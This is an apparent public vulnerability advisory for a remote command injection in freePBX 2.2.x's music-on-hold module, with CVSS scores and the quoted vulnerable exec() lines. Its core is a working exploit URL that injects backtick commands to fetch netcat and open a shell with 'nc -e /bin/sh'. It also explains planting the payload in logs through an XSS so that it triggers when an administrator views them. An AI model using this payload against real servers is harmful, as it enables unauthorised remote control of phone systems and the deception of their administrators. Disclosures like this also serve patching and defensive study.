freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

Credit: XenoMuta
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

I've found a code injection in the music-on-hold module at freePBX's portal. There are Inssuficient filters in the delete functions. Only " ' and ; are being filtered. Vulnerable Lines: 300: $rmcmd="rm -f "".$path_to_dir."/". $del."""; 301: exec($rmcmd); Example code: http://<freePBX-host>/admin/config.php?display=music&del=`wget -q -O /tmp/nc``/tmp/nc 1234 -e /bin/sh`&category=default You can inject this code without access to the portal into the /var/ log/asterisk/full this way... ./asteriskxss.php asterisk-server "<img src="/admin/config.php? display=music&del=`wget -q -O /tmp/nc ``/tmp/nc 1234 -e /bin/sh`&category=default">" hoping that an administrator to view the logs from the portals.... using the documented XSS vulnerability posted here... 053882.html -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2425 bytes Desc: not available Url :

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top